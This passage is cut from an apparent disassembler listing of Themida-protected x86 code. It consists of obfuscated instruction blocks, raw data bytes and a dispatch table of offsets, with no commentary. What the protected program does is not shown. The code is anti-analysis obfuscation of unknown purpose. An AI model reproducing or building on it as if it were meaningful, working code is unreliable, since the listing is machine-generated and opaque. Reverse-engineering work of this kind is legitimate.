esp, 4 push dword ptr [esp] mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ecx mov ecx, esp sub esp, 4 mov [esp], esi jmp loc_548B4F ; --------------------------------------------------------------------------- loc_54EC23: ; CODE XREF: Themida_:0054BD47j xchg ebp, [esp] pop esp add al, bl pop ebx sub al, bl push bx mov bl, 0FAh push ebx mov bh, 0E9h inc bh sub bh, 55h jmp loc_54D3B9 ; --------------------------------------------------------------------------- db 89h, 0E1h, 50h dd 4B8h, 0E9C10100h, 330h, 81240401h, 1B842404h, 53570BE1h dd 35156857h, 815F6DE9h, 140824EFh, 3DF78126h, 89450745h dd 0B5AAE9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EC72: ; CODE XREF: Themida_:005449C1j mov esi, [esp] add esp, 4 jmp loc_5472B6 ; --------------------------------------------------------------------------- dd 728F6850h, 2D585093h, 7DF6CD0h, 0EE453125h, 6E8C16Fh dd 27E7BB53h, 0E3812179h, 0BB42F1Dh, 0FF989CE9h, 4EC83FFh dd 54243489h, 4C6815Eh, 68000000h, 42EBh, 0BB241C89h, 2 dd 1C8BDE01h, 4C48324h, 2474FF56h, 48F5E04h, 24248B24h dd 0BB53C330h, 38h, 1438BF57h, 0FB017963h, 81FB015Fh, 631438EBh dd 2FE95179h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ECF3: ; CODE XREF: Themida_:0054D0F3j pop esp mov [esp], esi mov esi, esp push ebx mov ebx, 6FCE1D93h jmp loc_54968B ; --------------------------------------------------------------------------- loc_54ED04: ; CODE XREF: Themida_:0054DFE3j push small 6701h mov [esp], cx push edx push ecx jmp loc_545853 ; --------------------------------------------------------------------------- loc_54ED13: ; CODE XREF: Themida_:0054FAFDj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54CF64 ; --------------------------------------------------------------------------- dw 2489h dd 698FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ED2A: ; CODE XREF: Themida_:0054BCA7j pop ebx add esi, 4 xchg esi, [esp] jmp loc_544794 ; --------------------------------------------------------------------------- db 59h, 2Dh, 0B0h dd 175631Dh, 1FB951D8h, 0E93D1D4Bh, 0FFFFC936h, 1874C88h dd 592434FFh, 4C481h, 0C8E90000h, 0FF000008h, 0E9582434h dd 0FFFFD28Ch ; --------------------------------------------------------------------------- loc_54ED68: ; CODE XREF: Themida_:005480ABj sub esp, 4 mov [esp], ebx mov bl, 0ECh and bl, 0AFh not bl sub bl, 9Bh jmp loc_549F5B ; --------------------------------------------------------------------------- loc_54ED7D: ; CODE XREF: Themida_:0054DC49j push 3D7h mov [esp], ebx push ecx push 77972F4Ch jmp loc_545FB8 ; --------------------------------------------------------------------------- loc_54ED90: ; CODE XREF: Themida_:0054E102j mov edi, 1D935172h shr edi, 4 xor edi, 58EB338Eh jmp loc_54CBBE ; --------------------------------------------------------------------------- loc_54EDA3: ; CODE XREF: Themida_:005479ECj sub esi, 327D53F3h add ebp, 391E4E6Dh add ebp, esi sub ebp, 391E4E6Dh pop esi add ebp, 4 xchg ebp, [esp] pop esp add [esp], eax push ebp mov ebp, 6E0D2578h push edx mov edx, 770B12E6h sub [esp+8], edx pop edx jmp loc_548ABA ; --------------------------------------------------------------------------- dd 2C481h, 0C3280000h, 0CCB15166h, 0FF54F0E9h, 46D5B8FFh dd 8E0D715Eh, 0E9279B55h, 0FFFFEDCBh, 3E71C781h, 0FD895CB2h dd 0FFA242E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EE05: ; CODE XREF: Themida_:0054EE52j sub dword ptr [esp+4], 18844A51h sub [esp+4], edx jmp loc_54E29F ; --------------------------------------------------------------------------- dw 4721h dd 2434FF1Ch, 8324048Bh, 23E904C4h, 1FFFFA8h, 8C72E9F9h dd 4BDFFFFh, 1000000h, 0EC815DEEh, 4, 0B9240C89h, 166A25D3h dd 0FF6326E9h, 240C89FFh, 0FFA541E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EE51: ; CODE XREF: Themida_:0054A387j pop ecx jmp loc_54EE05 ; --------------------------------------------------------------------------- db 68h dd 2605h, 0E9242C89h, 0FFFF809Bh ; --------------------------------------------------------------------------- loc_54EE64: ; CODE XREF: Themida_:00548B4Aj pop ebp add eax, edi mov [eax], bl push dword ptr [esp] pop eax add esp, 4 mov ebx, [esp] push ebx mov ebx, esp sub esp, 4 mov [esp], edx mov edx, 4 add ebx, edx pop edx push eax push ecx push 634D5AF8h pop ecx not ecx add ecx, 4AB1399h xor ecx, 0BF0FCDE2h mov eax, ecx pop ecx add eax, 92E102Ch jmp loc_544356 ; --------------------------------------------------------------------------- dw 0C681h dd 169D598Bh, 0BAE9FE01h, 81FFFF7Ah, 2C4h, 4EC8100h, 89000000h dd 30682404h, 89000057h, 3FE92414h, 81FFFF67h, 869757F3h dd 0E9DE29DCh, 0FFFF720Bh, 0C04ACA80h, 8EE907E2h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EEEB: ; CODE XREF: Themida_:00549FA3j push bx mov bh, 90h add ch, bh pop bx jmp loc_547109 ; --------------------------------------------------------------------------- dd 70C6815Eh, 5A4FE845h, 0D6F7DEF7h, 0D645EE81h, 0F301109Ah dd 0AFF3815Eh, 5A29B75h, 9680510h, 84DE9h, 4EC8300h, 0BF243C89h dd 4, 7D3E9h, 32FF6400h, 0FF49EFE9h, 1C783FFh, 0F0EF8147h dd 81606750h, 1050F6EFh, 5A45E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EF4A: ; CODE XREF: Themida_:00544311j push ebx jmp loc_546FEB ; --------------------------------------------------------------------------- dd 26BE5653h, 0BB15B621h, 0EA49DEDCh, 7194EB81h, 0F3012000h dd 7194C381h, 15E2000h, 7230E9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EF72: ; CODE XREF: Themida_:00543937j add al, 0F7h sub al, bh push ecx jmp loc_543B17 ; --------------------------------------------------------------------------- dd 4C18358h, 5C240C87h, 8702EE83h, 0E95C2434h, 0FFFF4F25h ; --------------------------------------------------------------------------- loc_54EF90: ; CODE XREF: Themida_:005464B1j push 34E1h jmp loc_549ACA ; --------------------------------------------------------------------------- dw 0E689h dd 2463BA52h, 0D2F73341h, 1C281h, 0EA810000h, 60C02B23h dd 6809C281h, 0DAF7203Ch, 756DBB53h, 0C38140A1h, 15272C42h dd 1EB81h, 5DE90000h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EFCF: ; CODE XREF: Themida_:00549E38j mov ecx, 4 sub ebp, ecx jmp loc_54CFF6 ; --------------------------------------------------------------------------- loc_54EFDB: ; CODE XREF: Themida_:0054BB00j xor dh, 89h neg dh jmp loc_54A103 ; --------------------------------------------------------------------------- loc_54EFE5: ; CODE XREF: Themida_:0054612Ej xor ecx, esi pop esi push 2410h jmp loc_5443D2 ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFF9BD5h, 8124048Fh, 42404h, 2C8B0000h, 4C48124h dd 81000000h, 4C5h, 56206800h, 3C890000h, 2BF24h, 0FD290000h dd 0FF5DFFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F025: ; CODE XREF: Themida_:0054DF4Dj pop edi xchg ebp, [esp] pop esp jmp loc_543924 ; --------------------------------------------------------------------------- loc_54F02F: ; CODE XREF: Themida_:00547ABAj mov esp, [esp] mov [esp], esi jmp loc_5449F5 ; --------------------------------------------------------------------------- dw 0D188h dd 0C8BCF88h, 80E1E924h, 5E5DFFFFh, 0F587D6F7h, 71C4ED81h dd 0F5815265h, 22F015EBh, 0AC297105h, 50852D4Fh, 0A0E9519Ah dd 0C1FFFF9Ch, 0FBE907E2h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F06F: ; CODE XREF: Themida_:00544467j xor ecx, 16DC7455h jmp loc_54936F ; --------------------------------------------------------------------------- dw 0BF57h dd 4577688Fh, 0FFFEB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F085: ; CODE XREF: Themida_:00548149j pop dx jmp loc_545015 ; --------------------------------------------------------------------------- dd 0D224248Bh, 0E99C243Ch, 0FFFF488Ch ; --------------------------------------------------------------------------- loc_54F098: ; CODE XREF: Themida_:00545C3Cj pop esp mov [esp], ecx pop dword ptr [eax] jmp loc_54D7FE ; --------------------------------------------------------------------------- loc_54F0A3: ; CODE XREF: Themida_:005461E3j add eax, 4D6A5C09h mov [eax], ebx pop eax pop ebx jmp loc_54AE52 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 4832424h, 0F7E90424h, 5CFFFF76h, 0FF7B65E9h dd 242C8BFFh, 55E28952h, 4BDh, 5DEA0100h, 0FF4B64E9h, 24048BFFh dd 0FFBB65E9h, 0D831ADFFh, 4C20BD55h, 0E9556026h, 0FFFFE454h ; --------------------------------------------------------------------------- loc_54F0F4: ; CODE XREF: Themida_:0054C420j push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_54A011 ; --------------------------------------------------------------------------- loc_54F105: ; CODE XREF: Themida_:00544B10j mov eax, esp jmp loc_548EE8 ; --------------------------------------------------------------------------- dd 421665Ch, 9BE99C24h, 81FFFF82h, 0ADE9EBC1h, 59C8312Dh dd 2E516855h, 0FCE90000h, 59FFFFC4h, 5C241C87h, 9462E95Eh dd 585EFFFFh, 2474FF53h, 241C8B04h, 81E78957h, 4C7h, 9EC6E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F14E: ; CODE XREF: Themida_:0054F44Bj sub ebp, 4 jmp loc_547AB7 ; --------------------------------------------------------------------------- loc_54F159: ; CODE XREF: Themida_:00548867j sub edx, esi pop esi not edx inc edx push 21DAh mov [esp], esi mov esi, 921DB86Ah add edx, 7E3A3C22h jmp loc_547C47 ; --------------------------------------------------------------------------- loc_54F177: ; CODE XREF: Themida_:00546F6Fj dec esi and esi, 2E4A01F9h or esi, 136A0EDFh sub esi, 0D2A09C7Eh mov ebp, esi mov esi, [esp] add esp, 4 sub ebp, 0FFFFFFFFh sub ebp, 7BA81A50h inc ebp shr ebp, 7 xor ebp, 1EDD41A9h xor ebp, edi pop edi mov ecx, 0FB75F97Eh add ecx, ebp pop ebp and eax, ecx mov ecx, [esp] push ebp mov ebp, esp jmp loc_54A787 ; --------------------------------------------------------------------------- db 59h, 0E9h, 48h dd 0FFFFFFEAh, 815F2434h, 4C4h, 97EFE900h, 0E981FFFFh dd 4E020CC8h, 7D4DF181h, 0E98163D1h, 6EB95E75h, 69AF181h dd 0C8317F0Ch, 0DE4A2D59h, 0C301CA1Bh, 8124048Bh, 4C4h dd 2BA5200h, 1000000h, 0AEBDE9D3h, 0EB81FFFFh, 0FD103D4h dd 0C381F329h, 0FD103D4h, 0FFB084E9h, 68555AFFh, 6D03h dd 8065E954h, 0E954FFFFh, 0FFFF7AC1h, 5324048Bh, 55E9E389h dd 5FFFFB2h, 32CE0F40h, 0FFA54AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F245: ; CODE XREF: Themida_:005461BAj mov ebp, 28671DF2h shl ebp, 5 jmp loc_54ABBD ; --------------------------------------------------------------------------- dw 0C788h dd 1BE95A58h, 68FFFF8Fh, 0B60h, 0FFEBA1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F265: ; CODE XREF: Themida_:0054D4A1j add ebx, 30ABFh push edi push 178Ch mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi mov esi, 46B73D5Fh push 74FDh jmp loc_546B1F ; --------------------------------------------------------------------------- db 0B5h, 6Eh, 86h dd 86D2F6D5h, 0B25266D5h, 66D530CDh, 59E8005Ah, 0C6468h dd 24148900h, 3FF168h, 240C8900h, 0B1F0B450h, 8BE10072h dd 0C4812404h, 4, 0C8BCE88h, 9E32E924h, 77FFFFFFh, 59669D1Ch dd 9C2414D2h, 0FF4643E9h, 86FAB2FFh, 0F6CF86FAh, 0E9CF86D1h dd 0FFFFC871h, 6FE9E6D1h, 5DFFFF8Bh, 74A468h, 241C8900h dd 0FFED41E9h, 4C483FFh, 0FF8B11E9h, 5D8835FFh, 0CA2D42C6h dd 353C5764h, 9C667CF0h, 158C629h, 2BC681C6h, 6806870Dh dd 191Eh, 52241C89h, 41691BBAh, 5AD38958h, 0D104EBC1h dd 6026E9EBh, 5F54FFFFh, 309168h, 24048900h, 4B8h, 1CEF8100h dd 5377B918h, 0EA1459BBh, 5BDF016Fh, 0FF8299E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F365: ; CODE XREF: Themida_:0054E708j sub esi, 18E92B67h push edx jmp loc_549A60 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0F5h dd 4200081Dh, 2C8BEF01h, 4C48124h, 55000000h, 0FF8F91E9h dd 4596E9FFh, 0BA52FFFFh, 30612C5Dh, 0FF8766E9h, 240C89FFh dd 0A7243481h, 5A50180Bh, 0FF67AAE9h, 4C381FFh, 83000000h dd 0DAE904EBh db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F3B7: ; CODE XREF: Themida_:00546D9Cj xchg ebp, [esp] pop esp mov [esp], ebx push ebp add dword ptr [esp], offset byte_4355E1 jmp loc_5476A5 ; --------------------------------------------------------------------------- db 0FFh dd 4AE92434h, 66FFFFFEh, 49E99C51h, 0C1FFFF45h, 0BE5605E8h dd 276E2273h, 2706E681h, 0E681170Eh, 37A12C6Ah, 0FFCAB7E9h dd 24148BFFh, 4C481h, 80590000h, 0D96825CBh, 89000068h dd 15B42404h, 0ECB75366h, 5B66FC30h, 0F605E4C0h, 0E1E8E9DCh dd 3431FFFFh, 24343324h, 0E924248Bh, 0FFFF7D4Ah, 3104C483h dd 0F4E95DE9h, 5CFFFFAEh, 54241489h, 0C416E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F442: ; CODE XREF: Themida_:005476F4j push ebp mov ebp, esp add ebp, 4 jmp loc_54F14E ; --------------------------------------------------------------------------- dd 0C140D0F7h, 0C14007E0h, 0D0F707E8h, 465FE135h, 0E9C701FEh dd 0FFFFE152h, 2414F753h, 0FF8956E9h, 8AB951FFh, 812A870Ch dd 4E6341C9h, 4D89E95Ch, 0EF81FFFFh, 180F7198h, 52242C8Bh dd 0C2815A54h, 4, 0FFC9A2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F499: ; CODE XREF: Themida_:0054BE36j dec ecx xchg ecx, ebp push esi jmp loc_54568C ; --------------------------------------------------------------------------- dw 55Eh dd 4, 2474FF50h, 24048B04h, 8F04C483h, 0FF5C2404h, 34FF2434h dd 24048B24h, 4C481h, 0C4830000h, 0F025E904h, 8B66FFFFh dd 68522404h, 79FDh, 0E9242489h, 0FFFF9A56h, 4C281h, 0BD550000h dd 55FE7384h, 20CC581h, 0EDC100CBh, 81D5F707h, 9256EAE5h dd 4C58107h, 1F8EDBCh, 2DE95DEAh, 0F7FFFF99h, 0ADF281DAh dd 31EB15E7h, 0C6815AD6h, 6CBF684Ch, 14E9F331h, 89FFFF7Ch dd 4C781E7h, 81000000h, 4EFh, 243C3300h, 0FFB4FFE9h, 4D35CFFh dd 0E1E99C24h, 33FFFF43h, 57E9240Ch, 8BFFFFB8h, 0FF562424h dd 8B042474h, 0C4812434h, 4, 8B24048Fh, 7EE92424h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F567: ; CODE XREF: Themida_:00548F43j pop esi or eax, eax jz loc_54416D push dword ptr [edi+1Ch] push ebx push ebp push 4CD67D13h pop ebp sub ebp, 1 add ebp, 0D9499295h mov ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_54BABA ; --------------------------------------------------------------------------- db 5Fh dd 5305E6C1h, 626D2FBBh, 1C38374h, 0C108EBC1h, 24E906EBh dd 68FFFFF9h, 80Fh, 68240C89h, 7E0Ah, 815A5452h, 4C2h dd 4EA8300h, 5C241487h, 24048F54h, 4BE56h, 0BCE90000h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F5DB: ; CODE XREF: Themida_:0054B26Dj add ah, 8Fh add bl, ah pop eax movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h dd 0FFA4CBE9h, 243C89FFh, 42474FFh, 0FFD318E9h, 4C481FFh dd 68000000h, 3E8Ah, 0FFBD1CE9h, 0C18159FFh, 4, 8904EC83h dd 0FDE9243Ch, 5DFFFFF1h, 0FFE86DE9h, 67E956FFh, 0E9FFFFFDh dd 0FFFF42F8h, 0E924148Bh, 0FFFF9986h, 0E398E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F63A: ; CODE XREF: Themida_:005451D1j mov ebx, esp push edi mov edi, 4 jmp loc_549825 ; --------------------------------------------------------------------------- loc_54F647: ; CODE XREF: Themida_:0054AA33j add esp, 4 loc_54F64A: ; CODE XREF: Themida_:00543A27j push ebp sub esp, 4 jmp loc_54C4B9 ; --------------------------------------------------------------------------- db 81h dd 0A90937C3h, 0E9CB0135h, 0FFFF4CB6h, 0E23019B4h, 0D3885866h dd 0FFD8305Ah, 815B2434h, 4C4h, 2EB55100h, 4DEEE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F67E: ; CODE XREF: Themida_:0054CF69j pop ecx pop ebp xchg ecx, [edi+24h] jmp loc_545DDD ; --------------------------------------------------------------------------- dd 405h, 40500h, 4870000h, 4875C24h, 24D35C24h, 4282E924h dd 0C781FFFFh, 4, 1A9B850h, 0BE5645CDh, 7C3A4193h, 0FFDDA7E9h dd 0F18851FFh, 0E959C888h, 0FFFF4B2Ch, 8004EBC0h, 0EB807BEBh dd 0E3EB8098h, 2CCAF380h, 7D9EE9E9h, 0D800FFFFh, 0E9E22C5Bh dd 0FFFF54ACh, 6E79CB81h, 0E943645Ah, 0FFFFD1F9h ; --------------------------------------------------------------------------- loc_54F6F0: ; CODE XREF: Themida_:0054F7CEj add esp, 4 and eax, ebp pop ebp or eax, eax jmp loc_543D22 ; --------------------------------------------------------------------------- dd 3C8BF901h, 4C48324h, 28ECBF57h, 0EFC10578h, 0F7EF8707h dd 0CFE5E9DDh, 48BFFFFh, 4EC8124h, 0E9000000h, 0FFFFCA0Eh dd 2BF575Bh, 1000000h, 14335FFAh, 24143124h, 5C241433h dd 9C240408h, 0FF41DFE9h, 66602CFFh, 8324148Bh, 53E902C4h dd 80FFFF7Eh, 0C386BBF3h, 0C4E9D0F6h db 43h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F75F: ; CODE XREF: Themida_:0054DC65j mov [esp], ebx sub esp, 4 jmp loc_5474BC ; --------------------------------------------------------------------------- dw 0D829h dd 6805102Dh, 241C8B09h, 22EE9h, 0F7EBA00h, 0D7296556h dd 0FFD546E9h, 173B68FFh, 1C890000h, 4EC8324h, 0FFAEDAE9h dd 391BBFFh, 0DBF702D6h, 0E956DBF7h, 0FFFFBB1Ch, 0FF417BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F7A9: ; CODE XREF: Themida_:005474D5j push dword ptr [esp] pop edi push esi jmp loc_54BF3E ; --------------------------------------------------------------------------- db 0B2h dd 484EE93Eh, 0F381FFFFh, 25941487h, 0AA3DEB81h, 0D8298E8Eh dd 0FF972AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F7CD: ; CODE XREF: Themida_:00547ECCj pop esp jmp loc_54F6F0 ; --------------------------------------------------------------------------- db 83h dd 885304C4h, 0BB16E9CFh, 742DFFFFh, 298637CCh, 0CB8958C1h dd 0F0C38159h, 11E9D0Ah, 0F06850FBh, 581E9D0Ah, 6858C329h dd 23AAh, 0B9240C89h, 0 dd 77DEE981h, 0B9E958BFh db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F813: ; CODE XREF: Themida_:005478AAj add esp, 4 sub esp, 4 mov [esp], edx not dword ptr [esp] pop edx add edx, 1 push edi jmp loc_548A6C ; --------------------------------------------------------------------------- dd 5C241C33h, 0FF9EDAE9h, 0E9028FFFh, 52Fh, 5404EC83h dd 0FFBCEFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F845: ; CODE XREF: Themida_:00548BF7j pop ebx push 5CD8h mov [esp], edx mov dh, ah mov cl, dh mov edx, [esp] jmp loc_54C2BB ; --------------------------------------------------------------------------- dw 0E95Dh dd 0FFFFEF29h, 18A56859h, 0C890000h, 0E92CB124h, 0FFFF7ACFh dd 4606B850h, 6D2543E2h, 0E966224Eh, 0FFFFD2E1h, 32396851h dd 41592BDEh, 4903E1C1h, 0E9525650h, 0FFFF9D15h ; --------------------------------------------------------------------------- loc_54F894: ; CODE XREF: Themida_:00549FFCj pop ecx sub edx, eax mov eax, [esp] add esp, 4 jmp loc_54C355 ; --------------------------------------------------------------------------- loc_54F8A5: ; CODE XREF: Themida_:0054BB8Fj add [esp+8], ebp jmp loc_547471 ; --------------------------------------------------------------------------- dw 1BB9h dd 8161FF0Bh, 0A89C27E9h, 59CE8940h, 0FC68146h, 81DEA991h dd 0A838B8EAh, 0E9F2016Dh, 0FFFF6CD5h, 0C280BAB2h, 0DC57E997h dd 4C01FFFFh, 0DAE90424h, 5BFFFFF8h, 8759CA01h, 248B2414h dd 0C8B6624h, 0E7895724h, 4C781h, 0EF810000h, 4, 8B243C87h dd 14892424h, 68E28924h, 33Eh, 51243489h, 0FFFF95E9h, 242C81FFh dd 0BE11B84h, 0FFF327E9h, 4C481FFh, 8F000000h, 248B2404h dd 24148924h, 0E9E99C50h, 58FFFF3Fh, 0FFF24DE9h, 8BD089FFh dd 0EC812414h, 4, 89241489h, 4C281E2h, 83000000h, 148704C2h dd 24248B24h, 202FB05h, 56E8D15Ah, 0FFBE9DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F96D: ; CODE XREF: Themida_:0054C6DDj push esp pop esi add esi, 4 push ebx mov ebx, 28E266A9h push esi jmp loc_54969A ; --------------------------------------------------------------------------- loc_54F981: ; CODE XREF: Themida_:00547315j add ebp, ecx add ebp, 42C63476h sub ebp, 6C8536B2h pop ecx push edx mov edx, 4 add ebp, edx pop edx xor ebp, [esp] jmp loc_5439A5 ; --------------------------------------------------------------------------- loc_54F9A1: ; CODE XREF: Themida_:00543D1Dj push ecx jmp loc_5460F1 ; --------------------------------------------------------------------------- db 52h dd 0E955E289h, 0FFFFEF16h ; --------------------------------------------------------------------------- loc_54F9B0: ; CODE XREF: Themida_:0054CF85j sub esp, 4 jmp loc_54BAD1 ; --------------------------------------------------------------------------- dd 6624248Bh, 9C240CFFh, 0FF3F5FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F9C5: ; CODE XREF: Themida_:0054965Dj push dword ptr [esp] pop ebx push eax mov eax, esp add eax, 4 jmp loc_546B7F ; --------------------------------------------------------------------------- loc_54F9D6: ; CODE XREF: Themida_:0054923Fj or edx, eax shl edx, 1 push eax sub esp, 4 mov [esp], edx jmp loc_547899 ; --------------------------------------------------------------------------- db 66h, 9, 4 dd 0FE99C24h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F9F3: ; CODE XREF: Themida_:0054D31Fj mov ebp, 70D241F7h sub ebp, 6DC5033Eh jmp loc_54D490 ; --------------------------------------------------------------------------- loc_54FA03: ; CODE XREF: Themida_:0054E98Aj add esp, 4 add eax, 232F1C6Ah push 6A53h mov [esp], ebx jmp loc_54B41D ; --------------------------------------------------------------------------- loc_54FA1B: ; CODE XREF: Themida_:0054752Fj shl ch, 1 jmp loc_549FA1 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 2C8BEA29h, 4C48324h, 0FFE8FDE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FA35: ; CODE XREF: Themida_:00545A9Fj shr ecx, 0 or eax, eax jz loc_543FD7 push ecx mov ecx, esp push edx mov edx, 38BC2E8Ah push ebp mov ebp, 4CDD70DBh inc ebp xor ebp, 754480Dh jmp loc_548988 ; --------------------------------------------------------------------------- loc_54FA5B: ; CODE XREF: Themida_:0054C7EEj push ebp mov ebp, 6A193A83h push edi mov edi, 59D7420Ah sub ebp, edi pop edi xor ebp, 57C53FF1h neg ebp jmp loc_548CA1 ; --------------------------------------------------------------------------- db 54h dd 40558h, 0BF570000h, 4, 875FF801h, 0E95C2404h, 0FFFF3E94h dd 8904EC83h, 0EC812414h, 4, 81242489h, 42404h, 148B0000h dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 4C2815Ch dd 55000000h, 0E60713BDh, 0B9514509h, 0ED77B99h, 0FFAA2FE9h dd 24248BFFh, 9C2424D3h, 0FFF8ACE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FADD: ; CODE XREF: Themida_:0054422Aj not dword ptr [esp] pop ebp push edi jmp loc_547E91 ; --------------------------------------------------------------------------- loc_54FAE7: ; CODE XREF: Themida_:00547795j add esp, 4 xor [edi+24h], ecx push ecx push ebp pop ecx push dword ptr [esp] pop ebp push ebp mov ebp, esp add ebp, 4 jmp loc_54ED13 ; --------------------------------------------------------------------------- loc_54FB02: ; CODE XREF: Themida_:0054591Cj shr edi, 5 neg edi jmp loc_54C436 ; --------------------------------------------------------------------------- loc_54FB0C: ; CODE XREF: Themida_:0054E2FCj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, 3DB81243h jmp loc_54BE34 ; --------------------------------------------------------------------------- dd 709C6852h, 0E95A1E77h, 0FFFFCFDEh, 9D1C77FFh, 14D35966h dd 0E1E99C24h, 28FFFF3Dh, 0EC835AF0h, 240C8904h, 0FFACC9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FB51: ; CODE XREF: Themida_:0054719Aj add edx, 4 push eax mov eax, 4 add edx, eax pop eax xchg edx, [esp] pop esp jmp loc_54437B ; --------------------------------------------------------------------------- db 81h, 0C1h, 99h dd 586CA44Dh, 8159CE01h, 4ECh, 24348900h, 42474FFh, 24048F5Eh dd 243CD35Ch, 3D96E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB8E: ; CODE XREF: Themida_:0054B17Cj sub ebx, edi sub ebx, 1CB81E2Ch pop edi push small word ptr [eax] jmp loc_543924 ; --------------------------------------------------------------------------- db 55h dd 2BDh, 5DEE0100h, 0FF8CA0E9h, 0EE668FFh, 14890000h, 4B3ABA24h dd 81425478h, 0D557F8F2h, 0EAEDE970h, 2C89FFFFh, 178BD24h dd 0A6E96B35h, 0BBFFFFECh, 468E59D9h, 215BDF89h, 0F78FE9FDh dd 0EA29FFFFh, 58E7EA81h, 335D598Ah, 14312414h, 24143324h dd 6624248Bh, 66240C89h, 0E9C8B60Fh, 0FFFFF7CFh, 0D2E5EF81h dd 0EC83DB6Fh, 24048904h, 0FFEB36E9h, 50665CFFh, 79A2E952h dd 5457FFFFh, 4B8505Fh, 1000000h, 0C78158C7h, 4, 0E9243C87h dd 0FFFFF48Bh, 15E9D101h, 52FFFF61h, 0FF4589E9h, 0C8B66FFh dd 0E6895624h, 4C681h, 0EE810000h, 4, 0FF96FBE9h, 0ACC780FFh dd 2805F780h, 241C8BF8h, 0FFAA50E9h, 0C4835DFFh, 3CAEE904h dd 0EE31FFFFh, 0FF9818E9h, 0D0F792FFh, 4EC8352h, 5A240489h dd 0FFE5FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FC8D: ; CODE XREF: Themida_:0054453Dj sub edx, 510F164Bh jmp loc_54984E ; --------------------------------------------------------------------------- loc_54FC98: ; CODE XREF: Themida_:005444ECj and edi, 19D70780h jmp loc_54611C ; --------------------------------------------------------------------------- db 68h dd 5C93h, 53243489h, 0DE89C389h, 0E92434FFh, 0FFFFCC39h dd 0E9240C89h, 0FFFF3C64h, 5453F9F7h, 0E9241C8Bh, 0FFFFC35Ch dd 4624ED81h, 348B1E78h, 4C48124h, 83000000h, 0C8904ECh dd 2B924h, 0CD010000h, 0FFEE08E9h, 0C9E95CFFh, 89FFFF7Bh dd 5FBB241Ch, 81117164h, 80250EF3h, 0FB6AE92Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FD06: ; CODE XREF: Themida_:005476B6j and eax, esi pop esi or edx, eax shl edx, 1 jmp loc_548BFC ; --------------------------------------------------------------------------- dw 34FFh dd 240C8B24h, 5304C483h, 0E904EC83h, 0FFFF908Dh, 4BEh dd 0C4C38100h, 143DA4Fh, 0C4EB81F3h, 5E43DA4Fh, 2474FF53h dd 0E84BE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FD42: ; CODE XREF: Themida_:0054C301j pop esp mov [esp], eax jmp loc_54477B ; --------------------------------------------------------------------------- db 89h dd 0DFF758C7h, 0F3EDEF81h, 0FB0191EAh, 0FFC22DE9h, 80E959FFh dd 33FFFFBEh, 1CE9241Ch, 0E9FFFF7Dh, 0FFFF3BB4h, 3B9A8D8Dh dd 9F69DDh, 0 dd 7FFE0304h, 5A1236h, 53DDAEh, 0FA4CBC59h, 217h, 2, 2 dup(1) dd 0FA4CBC59h, 5 dup(0) dd offset word_563BBE dd offset byte_551209 dd offset byte_55AF79 dd offset byte_559999 dd offset word_56352A dd offset dword_55C4E4 dd offset byte_550581 dd offset word_562BFE dd offset byte_5545CF dd offset byte_562C97 dd offset byte_561903 dd offset byte_553D61 dd offset dword_5636A8 dd offset byte_5562F7 dd offset byte_563BF5 dd offset byte_5614CB dd offset dword_5646A0 dd offset word_554192 dd offset word_553FD6 dd offset word_55D81A dd offset byte_55F6F1 dd offset dword_557C0C dd offset word_563DDE dd offset word_55EA06 dd offset byte_5511F7 dd offset byte_557BE7 dd offset word_562F6E dd offset dword_551F00 dd offset dword_55B0F4 dd offset byte_565217 dd offset word_5635A6 dd offset word_556232 dd offset dword_5613A0 dd offset 